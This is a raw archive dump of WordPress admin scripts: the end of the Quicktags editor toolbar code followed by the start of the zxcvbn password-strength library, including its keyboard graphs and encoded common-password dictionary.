'post-new-php' || adminpage === 'post-php' ) ) { // Back compat hack :-( window.edCanvas = canvas; toolbar_id = 'ed_toolbar'; } else { toolbar_id = name + '_toolbar'; } tb = document.getElementById( toolbar_id ); if ( ! tb ) { tb = document.createElement('div'); tb.id = toolbar_id; tb.className = 'quicktags-toolbar'; } canvas.parentNode.insertBefore(tb, canvas); t.toolbar = tb; // Listen for click events. onclick = function(e) { e = e || window.event; var target = e.target || e.srcElement, visible = target.clientWidth || target.offsetWidth, i; // Don't call the callback on pressing the accesskey when the button is not visible. if ( !visible ) { return; } // As long as it has the class ed_button, execute the callback. if ( / ed_button /.test(' ' + target.className + ' ') ) { // We have to reassign canvas here. t.canvas = canvas = document.getElementById(id); i = target.id.replace(name + '_', ''); if ( t.theButtons[i] ) { t.theButtons[i].callback.call(t.theButtons[i], target, canvas, t); } } }; setActiveEditor = function() { window.wpActiveEditor = id; }; wrap = document.getElementById( 'wp-' + id + '-wrap' ); if ( tb.addEventListener ) { tb.addEventListener( 'click', onclick, false ); if ( wrap ) { wrap.addEventListener( 'click', setActiveEditor, false ); } } else if ( tb.attachEvent ) { tb.attachEvent( 'onclick', onclick ); if ( wrap ) { wrap.attachEvent( 'onclick', setActiveEditor ); } } t.getButton = function(id) { return t.theButtons[id]; }; t.getButtonElement = function(id) { return document.getElementById(name + '_' + id); }; t.init = function() { _domReady( function(){ qt._buttonsInit( id ); } ); }; t.remove = function() { delete qt.instances[id]; if ( tb && tb.parentNode ) { tb.parentNode.removeChild( tb ); } }; qt.instances[id] = t; t.init(); }; function _escape( text ) { text = text || ''; text = text.replace( /&([^#])(?![a-z1-4]{1,8};)/gi, '&$1' ); return text.replace( /</g, '<' ).replace( />/g, '>' ).replace( /"/g, '"' ).replace( /'/g, ''' ); } qt.instances = {}; qt.getInstance = function(id) { return qt.instances[id]; }; qt._buttonsInit = function( id ) { var t = this; function _init( instanceId ) { var canvas, name, settings, theButtons, html, ed, id, i, use, defaults = ',strong,em,link,block,del,ins,img,ul,ol,li,code,more,close,'; ed = t.instances[instanceId]; canvas = ed.canvas; name = ed.name; settings = ed.settings; html = ''; theButtons = {}; use = ''; // Set buttons. if ( settings.buttons ) { use = ','+settings.buttons+','; } for ( i in edButtons ) { if ( ! edButtons[i] ) { continue; } id = edButtons[i].id; if ( use && defaults.indexOf( ',' + id + ',' ) !== -1 && use.indexOf( ',' + id + ',' ) === -1 ) { continue; } if ( ! edButtons[i].instance || edButtons[i].instance === instanceId ) { theButtons[id] = edButtons[i]; if ( edButtons[i].html ) { html += edButtons[i].html( name + '_' ); } } } if ( use && use.indexOf(',dfw,') !== -1 ) { theButtons.dfw = new qt.DFWButton(); html += theButtons.dfw.html( name + '_' ); } if ( 'rtl' === document.getElementsByTagName( 'html' )[0].dir ) { theButtons.textdirection = new qt.TextDirectionButton(); html += theButtons.textdirection.html( name + '_' ); } ed.toolbar.innerHTML = html; ed.theButtons = theButtons; if ( typeof jQuery !== 'undefined' ) { jQuery( document ).triggerHandler( 'quicktags-init', [ ed ] ); } } if ( id ) { _init( id ); } else { for ( id in t.instances ) { _init( id ); } } t.buttonsInitDone = true; }; /** * Main API function for adding a button to Quicktags * * Adds qt.Button or qt.TagButton depending on the args. The first three args are always required. * To be able to add button(s) to Quicktags, your script should be enqueued as dependent * on "quicktags" and outputted in the footer. If you are echoing JS directly from PHP, * use add_action( 'admin_print_footer_scripts', 'output_my_js', 100 ) or add_action( 'wp_footer', 'output_my_js', 100 ) * * Minimum required to add a button that calls an external function: * QTags.addButton( 'my_id', 'my button', my_callback ); * function my_callback() { alert('yeah!'); } * * Minimum required to add a button that inserts a tag: * QTags.addButton( 'my_id', 'my button', '<span>', '</span>' ); * QTags.addButton( 'my_id2', 'my button', '<br />' ); * * @param string id Required. Button HTML ID * @param string display Required. Button's value="..." * @param string|function arg1 Required. Either a starting tag to be inserted like "<span>" or a callback that is executed when the button is clicked. * @param string arg2 Optional. Ending tag like "</span>" * @param string access_key Deprecated Not used * @param string title Optional. Button's title="..." * @param int priority Optional. Number representing the desired position of the button in the toolbar. 1 - 9 = first, 11 - 19 = second, 21 - 29 = third, etc. * @param string instance Optional. Limit the button to a specific instance of Quicktags, add to all instances if not present. * @param attr object Optional. Used to pass additional attributes. Currently supports `ariaLabel` and `ariaLabelClose` (for "close tag" state) * @return mixed null or the button object that is needed for back-compat. */ qt.addButton = function( id, display, arg1, arg2, access_key, title, priority, instance, attr ) { var btn; if ( !id || !display ) { return; } priority = priority || 0; arg2 = arg2 || ''; attr = attr || {}; if ( typeof(arg1) === 'function' ) { btn = new qt.Button( id, display, access_key, title, instance, attr ); btn.callback = arg1; } else if ( typeof(arg1) === 'string' ) { btn = new qt.TagButton( id, display, arg1, arg2, access_key, title, instance, attr ); } else { return; } if ( priority === -1 ) { // Back-compat. return btn; } if ( priority > 0 ) { while ( typeof(edButtons[priority]) !== 'undefined' ) { priority++; } edButtons[priority] = btn; } else { edButtons[edButtons.length] = btn; } if ( this.buttonsInitDone ) { this._buttonsInit(); // Add the button HTML to all instances toolbars if addButton() was called too late. } }; qt.insertContent = function(content) { var sel, startPos, endPos, scrollTop, text, canvas = document.getElementById(wpActiveEditor), event; if ( !canvas ) { return false; } if ( document.selection ) { // IE. canvas.focus(); sel = document.selection.createRange(); sel.text = content; canvas.focus(); } else if ( canvas.selectionStart || canvas.selectionStart === 0 ) { // FF, WebKit, Opera. text = canvas.value; startPos = canvas.selectionStart; endPos = canvas.selectionEnd; scrollTop = canvas.scrollTop; canvas.value = text.substring(0, startPos) + content + text.substring(endPos, text.length); canvas.selectionStart = startPos + content.length; canvas.selectionEnd = startPos + content.length; canvas.scrollTop = scrollTop; canvas.focus(); } else { canvas.value += content; canvas.focus(); } if ( document.createEvent ) { event = document.createEvent( 'HTMLEvents' ); event.initEvent( 'change', false, true ); canvas.dispatchEvent( event ); } else if ( canvas.fireEvent ) { canvas.fireEvent( 'onchange' ); } return true; }; // A plain, dumb button. qt.Button = function( id, display, access, title, instance, attr ) { this.id = id; this.display = display; this.access = ''; this.title = title || ''; this.instance = instance || ''; this.attr = attr || {}; }; qt.Button.prototype.html = function(idPrefix) { var active, on, wp, title = this.title ? ' title="' + _escape( this.title ) + '"' : '', ariaLabel = this.attr && this.attr.ariaLabel ? ' aria-label="' + _escape( this.attr.ariaLabel ) + '"' : '', val = this.display ? ' value="' + _escape( this.display ) + '"' : '', id = this.id ? ' id="' + _escape( idPrefix + this.id ) + '"' : '', dfw = ( wp = window.wp ) && wp.editor && wp.editor.dfw; if ( this.id === 'fullscreen' ) { return '<button type="button"' + id + ' class="ed_button qt-dfw qt-fullscreen"' + title + ariaLabel + '></button>'; } else if ( this.id === 'dfw' ) { active = dfw && dfw.isActive() ? '' : ' disabled="disabled"'; on = dfw && dfw.isOn() ? ' active' : ''; return '<button type="button"' + id + ' class="ed_button qt-dfw' + on + '"' + title + ariaLabel + active + '></button>'; } return '<input type="button"' + id + ' class="ed_button button button-small"' + title + ariaLabel + val + ' />'; }; qt.Button.prototype.callback = function(){}; // A button that inserts HTML tag. qt.TagButton = function( id, display, tagStart, tagEnd, access, title, instance, attr ) { var t = this; qt.Button.call( t, id, display, access, title, instance, attr ); t.tagStart = tagStart; t.tagEnd = tagEnd; }; qt.TagButton.prototype = new qt.Button(); qt.TagButton.prototype.openTag = function( element, ed ) { if ( ! ed.openTags ) { ed.openTags = []; } if ( this.tagEnd ) { ed.openTags.push( this.id ); element.value = '/' + element.value; if ( this.attr.ariaLabelClose ) { element.setAttribute( 'aria-label', this.attr.ariaLabelClose ); } } }; qt.TagButton.prototype.closeTag = function( element, ed ) { var i = this.isOpen(ed); if ( i !== false ) { ed.openTags.splice( i, 1 ); } element.value = this.display; if ( this.attr.ariaLabel ) { element.setAttribute( 'aria-label', this.attr.ariaLabel ); } }; // Whether a tag is open or not. Returns false if not open, or current open depth of the tag. qt.TagButton.prototype.isOpen = function (ed) { var t = this, i = 0, ret = false; if ( ed.openTags ) { while ( ret === false && i < ed.openTags.length ) { ret = ed.openTags[i] === t.id ? i : false; i ++; } } else { ret = false; } return ret; }; qt.TagButton.prototype.callback = function(element, canvas, ed) { var t = this, startPos, endPos, cursorPos, scrollTop, v = canvas.value, l, r, i, sel, endTag = v ? t.tagEnd : '', event; if ( document.selection ) { // IE. canvas.focus(); sel = document.selection.createRange(); if ( sel.text.length > 0 ) { if ( !t.tagEnd ) { sel.text = sel.text + t.tagStart; } else { sel.text = t.tagStart + sel.text + endTag; } } else { if ( !t.tagEnd ) { sel.text = t.tagStart; } else if ( t.isOpen(ed) === false ) { sel.text = t.tagStart; t.openTag(element, ed); } else { sel.text = endTag; t.closeTag(element, ed); } } canvas.focus(); } else if ( canvas.selectionStart || canvas.selectionStart === 0 ) { // FF, WebKit, Opera. startPos = canvas.selectionStart; endPos = canvas.selectionEnd; if ( startPos < endPos && v.charAt( endPos - 1 ) === '\n' ) { endPos -= 1; } cursorPos = endPos; scrollTop = canvas.scrollTop; l = v.substring(0, startPos); // Left of the selection. r = v.substring(endPos, v.length); // Right of the selection. i = v.substring(startPos, endPos); // Inside the selection. if ( startPos !== endPos ) { if ( !t.tagEnd ) { canvas.value = l + i + t.tagStart + r; // Insert self-closing tags after the selection. cursorPos += t.tagStart.length; } else { canvas.value = l + t.tagStart + i + endTag + r; cursorPos += t.tagStart.length + endTag.length; } } else { if ( !t.tagEnd ) { canvas.value = l + t.tagStart + r; cursorPos = startPos + t.tagStart.length; } else if ( t.isOpen(ed) === false ) { canvas.value = l + t.tagStart + r; t.openTag(element, ed); cursorPos = startPos + t.tagStart.length; } else { canvas.value = l + endTag + r; cursorPos = startPos + endTag.length; t.closeTag(element, ed); } } canvas.selectionStart = cursorPos; canvas.selectionEnd = cursorPos; canvas.scrollTop = scrollTop; canvas.focus(); } else { // Other browsers? if ( !endTag ) { canvas.value += t.tagStart; } else if ( t.isOpen(ed) !== false ) { canvas.value += t.tagStart; t.openTag(element, ed); } else { canvas.value += endTag; t.closeTag(element, ed); } canvas.focus(); } if ( document.createEvent ) { event = document.createEvent( 'HTMLEvents' ); event.initEvent( 'change', false, true ); canvas.dispatchEvent( event ); } else if ( canvas.fireEvent ) { canvas.fireEvent( 'onchange' ); } }; // Removed. qt.SpellButton = function() {}; // The close tags button. qt.CloseButton = function() { qt.Button.call( this, 'close', quicktagsL10n.closeTags, '', quicktagsL10n.closeAllOpenTags ); }; qt.CloseButton.prototype = new qt.Button(); qt._close = function(e, c, ed) { var button, element, tbo = ed.openTags; if ( tbo ) { while ( tbo.length > 0 ) { button = ed.getButton(tbo[tbo.length - 1]); element = document.getElementById(ed.name + '_' + button.id); if ( e ) { button.callback.call(button, element, c, ed); } else { button.closeTag(element, ed); } } } }; qt.CloseButton.prototype.callback = qt._close; qt.closeAllTags = function( editor_id ) { var ed = this.getInstance( editor_id ); if ( ed ) { qt._close( '', ed.canvas, ed ); } }; // The link button. qt.LinkButton = function() { var attr = { ariaLabel: quicktagsL10n.link }; qt.TagButton.call( this, 'link', 'link', '', '</a>', '', '', '', attr ); }; qt.LinkButton.prototype = new qt.TagButton(); qt.LinkButton.prototype.callback = function(e, c, ed, defaultValue) { var URL, t = this; if ( typeof wpLink !== 'undefined' ) { wpLink.open( ed.id ); return; } if ( ! defaultValue ) { defaultValue = 'http://'; } if ( t.isOpen(ed) === false ) { URL = prompt( quicktagsL10n.enterURL, defaultValue ); if ( URL ) { t.tagStart = '<a href="' + URL + '">'; qt.TagButton.prototype.callback.call(t, e, c, ed); } } else { qt.TagButton.prototype.callback.call(t, e, c, ed); } }; // The img button. qt.ImgButton = function() { var attr = { ariaLabel: quicktagsL10n.image }; qt.TagButton.call( this, 'img', 'img', '', '', '', '', '', attr ); }; qt.ImgButton.prototype = new qt.TagButton(); qt.ImgButton.prototype.callback = function(e, c, ed, defaultValue) { if ( ! defaultValue ) { defaultValue = 'http://'; } var src = prompt(quicktagsL10n.enterImageURL, defaultValue), alt; if ( src ) { alt = prompt(quicktagsL10n.enterImageDescription, ''); this.tagStart = '<img src="' + src + '" alt="' + alt + '" />'; qt.TagButton.prototype.callback.call(this, e, c, ed); } }; qt.DFWButton = function() { qt.Button.call( this, 'dfw', '', 'f', quicktagsL10n.dfw ); }; qt.DFWButton.prototype = new qt.Button(); qt.DFWButton.prototype.callback = function() { var wp; if ( ! ( wp = window.wp ) || ! wp.editor || ! wp.editor.dfw ) { return; } window.wp.editor.dfw.toggle(); }; qt.TextDirectionButton = function() { qt.Button.call( this, 'textdirection', quicktagsL10n.textdirection, '', quicktagsL10n.toggleTextdirection ); }; qt.TextDirectionButton.prototype = new qt.Button(); qt.TextDirectionButton.prototype.callback = function(e, c) { var isRTL = ( 'rtl' === document.getElementsByTagName('html')[0].dir ), currentDirection = c.style.direction; if ( ! currentDirection ) { currentDirection = ( isRTL ) ? 'rtl' : 'ltr'; } c.style.direction = ( 'rtl' === currentDirection ) ? 'ltr' : 'rtl'; c.focus(); }; // Ensure backward compatibility. edButtons[10] = new qt.TagButton( 'strong', 'b', '<strong>', '</strong>', '', '', '', { ariaLabel: quicktagsL10n.strong, ariaLabelClose: quicktagsL10n.strongClose } ); edButtons[20] = new qt.TagButton( 'em', 'i', '<em>', '</em>', '', '', '', { ariaLabel: quicktagsL10n.em, ariaLabelClose: quicktagsL10n.emClose } ); edButtons[30] = new qt.LinkButton(); // Special case. edButtons[40] = new qt.TagButton( 'block', 'b-quote', '\n\n<blockquote>', '</blockquote>\n\n', '', '', '', { ariaLabel: quicktagsL10n.blockquote, ariaLabelClose: quicktagsL10n.blockquoteClose } ); edButtons[50] = new qt.TagButton( 'del', 'del', '<del datetime="' + _datetime + '">', '</del>', '', '', '', { ariaLabel: quicktagsL10n.del, ariaLabelClose: quicktagsL10n.delClose } ); edButtons[60] = new qt.TagButton( 'ins', 'ins', '<ins datetime="' + _datetime + '">', '</ins>', '', '', '', { ariaLabel: quicktagsL10n.ins, ariaLabelClose: quicktagsL10n.insClose } ); edButtons[70] = new qt.ImgButton(); // Special case. edButtons[80] = new qt.TagButton( 'ul', 'ul', '<ul>\n', '</ul>\n\n', '', '', '', { ariaLabel: quicktagsL10n.ul, ariaLabelClose: quicktagsL10n.ulClose } ); edButtons[90] = new qt.TagButton( 'ol', 'ol', '<ol>\n', '</ol>\n\n', '', '', '', { ariaLabel: quicktagsL10n.ol, ariaLabelClose: quicktagsL10n.olClose } ); edButtons[100] = new qt.TagButton( 'li', 'li', '\t<li>', '</li>\n', '', '', '', { ariaLabel: quicktagsL10n.li, ariaLabelClose: quicktagsL10n.liClose } ); edButtons[110] = new qt.TagButton( 'code', 'code', '<code>', '</code>', '', '', '', { ariaLabel: quicktagsL10n.code, ariaLabelClose: quicktagsL10n.codeClose } ); edButtons[120] = new qt.TagButton( 'more', 'more', '<!--more-->\n\n', '', '', '', '', { ariaLabel: quicktagsL10n.more } ); edButtons[140] = new qt.CloseButton(); })(); /** * Initialize new instance of the Quicktags editor */ window.quicktags = function(settings) { return new window.QTags(settings); }; /** * Inserts content at the caret in the active editor (textarea) * * Added for back compatibility * @see QTags.insertContent() */ window.edInsertContent = function(bah, txt) { return window.QTags.insertContent(txt); }; /** * Adds a button to all instances of the editor * * Added for back compatibility, use QTags.addButton() as it gives more flexibility like type of button, button placement, etc. * @see QTags.addButton() */ window.edButton = function(id, display, tagStart, tagEnd, access) { return window.QTags.addButton( id, display, tagStart, tagEnd, access, '', -1 ); }; zxcvbn.min.js 0000644 00003105735 15111757752 0007227 0 ustar 00 /*! This file is auto-generated */ /*! zxcvbn - v4.4.1 * realistic password strength estimation * https://github.com/dropbox/zxcvbn * Copyright (c) 2012 Dropbox, Inc.; Licensed MIT */ (function(f){if(typeof exports==="object"&&typeof module!=="undefined"){module.exports=f()}else if(typeof define==="function"&&define.amd){define([],f)}else{var g;if(typeof window!=="undefined"){g=window}else if(typeof global!=="undefined"){g=global}else if(typeof self!=="undefined"){g=self}else{g=this}g.zxcvbn = f()}})(function(){var define,module,exports;return (function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(require,module,exports){ var adjacency_graphs;adjacency_graphs={qwerty:{"!":["`~",null,null,"2@","qQ",null],'"':[";:","[{","]}",null,null,"/?"],"#":["2@",null,null,"4$","eE","wW"],$:["3#",null,null,"5%","rR","eE"],"%":["4$",null,null,"6^","tT","rR"],"&":["6^",null,null,"8*","uU","yY"],"'":[";:","[{","]}",null,null,"/?"],"(":["8*",null,null,"0)","oO","iI"],")":["9(",null,null,"-_","pP","oO"],"*":["7&",null,null,"9(","iI","uU"],"+":["-_",null,null,null,"]}","[{"],",":["mM","kK","lL",".>",null,null],"-":["0)",null,null,"=+","[{","pP"],".":[",<","lL",";:","/?",null,null],"/":[".>",";:","'\"",null,null,null],0:["9(",null,null,"-_","pP","oO"],1:["`~",null,null,"2@","qQ",null],2:["1!",null,null,"3#","wW","qQ"],3:["2@",null,null,"4$","eE","wW"],4:["3#",null,null,"5%","rR","eE"],5:["4$",null,null,"6^","tT","rR"],6:["5%",null,null,"7&","yY","tT"],7:["6^",null,null,"8*","uU","yY"],8:["7&",null,null,"9(","iI","uU"],9:["8*",null,null,"0)","oO","iI"],":":["lL","pP","[{","'\"","/?",".>"],";":["lL","pP","[{","'\"","/?",".>"],"<":["mM","kK","lL",".>",null,null],"=":["-_",null,null,null,"]}","[{"],">":[",<","lL",";:","/?",null,null],"?":[".>",";:","'\"",null,null,null],"@":["1!",null,null,"3#","wW","qQ"],A:[null,"qQ","wW","sS","zZ",null],B:["vV","gG","hH","nN",null,null],C:["xX","dD","fF","vV",null,null],D:["sS","eE","rR","fF","cC","xX"],E:["wW","3#","4$","rR","dD","sS"],F:["dD","rR","tT","gG","vV","cC"],G:["fF","tT","yY","hH","bB","vV"],H:["gG","yY","uU","jJ","nN","bB"],I:["uU","8*","9(","oO","kK","jJ"],J:["hH","uU","iI","kK","mM","nN"],K:["jJ","iI","oO","lL",",<","mM"],L:["kK","oO","pP",";:",".>",",<"],M:["nN","jJ","kK",",<",null,null],N:["bB","hH","jJ","mM",null,null],O:["iI","9(","0)","pP","lL","kK"],P:["oO","0)","-_","[{",";:","lL"],Q:[null,"1!","2@","wW","aA",null],R:["eE","4$","5%","tT","fF","dD"],S:["aA","wW","eE","dD","xX","zZ"],T:["rR","5%","6^","yY","gG","fF"],U:["yY","7&","8*","iI","jJ","hH"],V:["cC","fF","gG","bB",null,null],W:["qQ","2@","3#","eE","sS","aA"],X:["zZ","sS","dD","cC",null,null],Y:["tT","6^","7&","uU","hH","gG"],Z:[null,"aA","sS","xX",null,null],"[":["pP","-_","=+","]}","'\"",";:"],"\\":["]}",null,null,null,null,null],"]":["[{","=+",null,"\\|",null,"'\""],"^":["5%",null,null,"7&","yY","tT"],_:["0)",null,null,"=+","[{","pP"],"`":[null,null,null,"1!",null,null],a:[null,"qQ","wW","sS","zZ",null],b:["vV","gG","hH","nN",null,null],c:["xX","dD","fF","vV",null,null],d:["sS","eE","rR","fF","cC","xX"],e:["wW","3#","4$","rR","dD","sS"],f:["dD","rR","tT","gG","vV","cC"],g:["fF","tT","yY","hH","bB","vV"],h:["gG","yY","uU","jJ","nN","bB"],i:["uU","8*","9(","oO","kK","jJ"],j:["hH","uU","iI","kK","mM","nN"],k:["jJ","iI","oO","lL",",<","mM"],l:["kK","oO","pP",";:",".>",",<"],m:["nN","jJ","kK",",<",null,null],n:["bB","hH","jJ","mM",null,null],o:["iI","9(","0)","pP","lL","kK"],p:["oO","0)","-_","[{",";:","lL"],q:[null,"1!","2@","wW","aA",null],r:["eE","4$","5%","tT","fF","dD"],s:["aA","wW","eE","dD","xX","zZ"],t:["rR","5%","6^","yY","gG","fF"],u:["yY","7&","8*","iI","jJ","hH"],v:["cC","fF","gG","bB",null,null],w:["qQ","2@","3#","eE","sS","aA"],x:["zZ","sS","dD","cC",null,null],y:["tT","6^","7&","uU","hH","gG"],z:[null,"aA","sS","xX",null,null],"{":["pP","-_","=+","]}","'\"",";:"],"|":["]}",null,null,null,null,null],"}":["[{","=+",null,"\\|",null,"'\""],"~":[null,null,null,"1!",null,null]},dvorak:{"!":["`~",null,null,"2@","'\"",null],'"':[null,"1!","2@",",<","aA",null],"#":["2@",null,null,"4$",".>",",<"],$:["3#",null,null,"5%","pP",".>"],"%":["4$",null,null,"6^","yY","pP"],"&":["6^",null,null,"8*","gG","fF"],"'":[null,"1!","2@",",<","aA",null],"(":["8*",null,null,"0)","rR","cC"],")":["9(",null,null,"[{","lL","rR"],"*":["7&",null,null,"9(","cC","gG"],"+":["/?","]}",null,"\\|",null,"-_"],",":["'\"","2@","3#",".>","oO","aA"],"-":["sS","/?","=+",null,null,"zZ"],".":[",<","3#","4$","pP","eE","oO"],"/":["lL","[{","]}","=+","-_","sS"],0:["9(",null,null,"[{","lL","rR"],1:["`~",null,null,"2@","'\"",null],2:["1!",null,null,"3#",",<","'\""],3:["2@",null,null,"4$",".>",",<"],4:["3#",null,null,"5%","pP",".>"],5:["4$",null,null,"6^","yY","pP"],6:["5%",null,null,"7&","fF","yY"],7:["6^",null,null,"8*","gG","fF"],8:["7&",null,null,"9(","cC","gG"],9:["8*",null,null,"0)","rR","cC"],":":[null,"aA","oO","qQ",null,null],";":[null,"aA","oO","qQ",null,null],"<":["'\"","2@","3#",".>","oO","aA"],"=":["/?","]}",null,"\\|",null,"-_"],">":[",<","3#","4$","pP","eE","oO"],"?":["lL","[{","]}","=+","-_","sS"],"@":["1!",null,null,"3#",",<","'\""],A:[null,"'\"",",<","oO",";:",null],B:["xX","dD","hH","mM",null,null],C:["gG","8*","9(","rR","tT","hH"],D:["iI","fF","gG","hH","bB","xX"],E:["oO",".>","pP","uU","jJ","qQ"],F:["yY","6^","7&","gG","dD","iI"],G:["fF","7&","8*","cC","hH","dD"],H:["dD","gG","cC","tT","mM","bB"],I:["uU","yY","fF","dD","xX","kK"],J:["qQ","eE","uU","kK",null,null],K:["jJ","uU","iI","xX",null,null],L:["rR","0)","[{","/?","sS","nN"],M:["bB","hH","tT","wW",null,null],N:["tT","rR","lL","sS","vV","wW"],O:["aA",",<",".>","eE","qQ",";:"],P:[".>","4$","5%","yY","uU","eE"],Q:[";:","oO","eE","jJ",null,null],R:["cC","9(","0)","lL","nN","tT"],S:["nN","lL","/?","-_","zZ","vV"],T:["hH","cC","rR","nN","wW","mM"],U:["eE","pP","yY","iI","kK","jJ"],V:["wW","nN","sS","zZ",null,null],W:["mM","tT","nN","vV",null,null],X:["kK","iI","dD","bB",null,null],Y:["pP","5%","6^","fF","iI","uU"],Z:["vV","sS","-_",null,null,null],"[":["0)",null,null,"]}","/?","lL"],"\\":["=+",null,null,null,null,null],"]":["[{",null,null,null,"=+","/?"],"^":["5%",null,null,"7&","fF","yY"],_:["sS","/?","=+",null,null,"zZ"],"`":[null,null,null,"1!",null,null],a:[null,"'\"",",<","oO",";:",null],b:["xX","dD","hH","mM",null,null],c:["gG","8*","9(","rR","tT","hH"],d:["iI","fF","gG","hH","bB","xX"],e:["oO",".>","pP","uU","jJ","qQ"],f:["yY","6^","7&","gG","dD","iI"],g:["fF","7&","8*","cC","hH","dD"],h:["dD","gG","cC","tT","mM","bB"],i:["uU","yY","fF","dD","xX","kK"],j:["qQ","eE","uU","kK",null,null],k:["jJ","uU","iI","xX",null,null],l:["rR","0)","[{","/?","sS","nN"],m:["bB","hH","tT","wW",null,null],n:["tT","rR","lL","sS","vV","wW"],o:["aA",",<",".>","eE","qQ",";:"],p:[".>","4$","5%","yY","uU","eE"],q:[";:","oO","eE","jJ",null,null],r:["cC","9(","0)","lL","nN","tT"],s:["nN","lL","/?","-_","zZ","vV"],t:["hH","cC","rR","nN","wW","mM"],u:["eE","pP","yY","iI","kK","jJ"],v:["wW","nN","sS","zZ",null,null],w:["mM","tT","nN","vV",null,null],x:["kK","iI","dD","bB",null,null],y:["pP","5%","6^","fF","iI","uU"],z:["vV","sS","-_",null,null,null],"{":["0)",null,null,"]}","/?","lL"],"|":["=+",null,null,null,null,null],"}":["[{",null,null,null,"=+","/?"],"~":[null,null,null,"1!",null,null]},keypad:{"*":["/",null,null,null,"-","+","9","8"],"+":["9","*","-",null,null,null,null,"6"],"-":["*",null,null,null,null,null,"+","9"],".":["0","2","3",null,null,null,null,null],"/":[null,null,null,null,"*","9","8","7"],0:[null,"1","2","3",".",null,null,null],1:[null,null,"4","5","2","0",null,null],2:["1","4","5","6","3",".","0",null],3:["2","5","6",null,null,null,".","0"],4:[null,null,"7","8","5","2","1",null],5:["4","7","8","9","6","3","2","1"],6:["5","8","9","+",null,null,"3","2"],7:[null,null,null,"/","8","5","4",null],8:["7",null,"/","*","9","6","5","4"],9:["8","/","*","-","+",null,"6","5"]},mac_keypad:{"*":["/",null,null,null,null,null,"-","9"],"+":["6","9","-",null,null,null,null,"3"],"-":["9","/","*",null,null,null,"+","6"],".":["0","2","3",null,null,null,null,null],"/":["=",null,null,null,"*","-","9","8"],0:[null,"1","2","3",".",null,null,null],1:[null,null,"4","5","2","0",null,null],2:["1","4","5","6","3",".","0",null],3:["2","5","6","+",null,null,".","0"],4:[null,null,"7","8","5","2","1",null],5:["4","7","8","9","6","3","2","1"],6:["5","8","9","-","+",null,"3","2"],7:[null,null,null,"=","8","5","4",null],8:["7",null,"=","/","9","6","5","4"],9:["8","=","/","*","-","+","6","5"],"=":[null,null,null,null,"/","9","8","7"]}},module.exports=adjacency_graphs; },{}],2:[function(require,module,exports){ var feedback,scoring;scoring=require("./scoring"),feedback={default_feedback:{warning:"",suggestions:["Use a few words, avoid common phrases","No need for symbols, digits, or uppercase letters"]},get_feedback:function(e,s){var a,t,r,n,o,i;if(0===s.length)return this.default_feedback;if(e>2)return{warning:"",suggestions:[]};for(n=s[0],i=s.slice(1),t=0,r=i.length;t<r;t++)o=i[t],o.token.length>n.token.length&&(n=o);return feedback=this.get_match_feedback(n,1===s.length),a="Add another word or two. Uncommon words are better.",null!=feedback?(feedback.suggestions.unshift(a),null==feedback.warning&&(feedback.warning="")):feedback={warning:"",suggestions:[a]},feedback},get_match_feedback:function(e,s){var a,t;switch(e.pattern){case"dictionary":return this.get_dictionary_match_feedback(e,s);case"spatial":return a=e.graph.toUpperCase(),t=1===e.turns?"Straight rows of keys are easy to guess":"Short keyboard patterns are easy to guess",{warning:t,suggestions:["Use a longer keyboard pattern with more turns"]};case"repeat":return t=1===e.base_token.length?'Repeats like "aaa" are easy to guess':'Repeats like "abcabcabc" are only slightly harder to guess than "abc"',{warning:t,suggestions:["Avoid repeated words and characters"]};case"sequence":return{warning:"Sequences like abc or 6543 are easy to guess",suggestions:["Avoid sequences"]};case"regex":if("recent_year"===e.regex_name)return{warning:"Recent years are easy to guess",suggestions:["Avoid recent years","Avoid years that are associated with you"]};break;case"date":return{warning:"Dates are often easy to guess",suggestions:["Avoid dates and years that are associated with you"]}}},get_dictionary_match_feedback:function(e,s){var a,t,r,n,o;return n="passwords"===e.dictionary_name?!s||e.l33t||e.reversed?e.guesses_log10<=4?"This is similar to a commonly used password":void 0:e.rank<=10?"This is a top-10 common password":e.rank<=100?"This is a top-100 common password":"This is a very common password":"english"===e.dictionary_name?s?"A word by itself is easy to guess":void 0:"surnames"===(a=e.dictionary_name)||"male_names"===a||"female_names"===a?s?"Names and surnames by themselves are easy to guess":"Common names and surnames are easy to guess":"",r=[],o=e.token,o.match(scoring.START_UPPER)?r.push("Capitalization doesn't help very much"):o.match(scoring.ALL_UPPER)&&o.toLowerCase()!==o&&r.push("All-uppercase is almost as easy to guess as all-lowercase"),e.reversed&&e.token.length>=4&&r.push("Reversed words aren't much harder to guess"),e.l33t&&r.push("Predictable substitutions like '@' instead of 'a' don't help very much"),t={warning:n,suggestions:r}}},module.exports=feedback; },{"./scoring":6}],3:[function(require,module,exports){ var frequency_lists;frequency_lists={passwords:"123456,cnffjbeq,12345678,djregl,123456789,12345,1234,111111,1234567,qentba,123123,onfronyy,nop123,sbbgonyy,zbaxrl,yrgzrva,funqbj,znfgre,696969,zhfgnat,666666,djreglhvbc,123321,1234567890,chffl,fhcrezna,654321,1dnm2jfk,7777777,shpxlbh,dnmjfk,wbeqna,123djr,000000,xvyyre,gehfgab1,uhagre,uneyrl,mkpioaz,nfqstu,ohfgre,ongzna,fbppre,gvttre,puneyvr,fhafuvar,vybirlbh,shpxzr,enatre,ubpxrl,pbzchgre,fgnejnef,nffubyr,crccre,xynfgre,112233,mkpioa,serrqbz,cevaprff,znttvr,cnff,tvatre,11111111,131313,shpx,ybir,purrfr,159753,fhzzre,puryfrn,qnyynf,ovgrzr,zngevk,lnaxrrf,6969,pbeirggr,nhfgva,npprff,guhaqre,zreyva,frperg,qvnzbaq,uryyb,unzzre,shpxre,1234djre,fvyire,tsuwxz,vagrearg,fnznagun,tbysre,fpbbgre,grfg,benatr,pbbxvr,d1j2r3e4g5,znirevpx,fcnexl,cubravk,zvpxrl,ovtqbt,fabbcl,thvgne,jungrire,puvpxra,pnzneb,zreprqrf,crnahg,sreenev,snypba,pbjobl,jrypbzr,frkl,fnzfhat,fgrryref,fzbxrl,qnxbgn,nefrany,obbzre,rntyrf,gvtref,znevan,anfpne,obbobb,tngrjnl,lryybj,cbefpur,zbafgre,fcvqre,qvnoyb,unaanu,ohyyqbt,whavbe,ybaqba,checyr,pbzcnd,ynx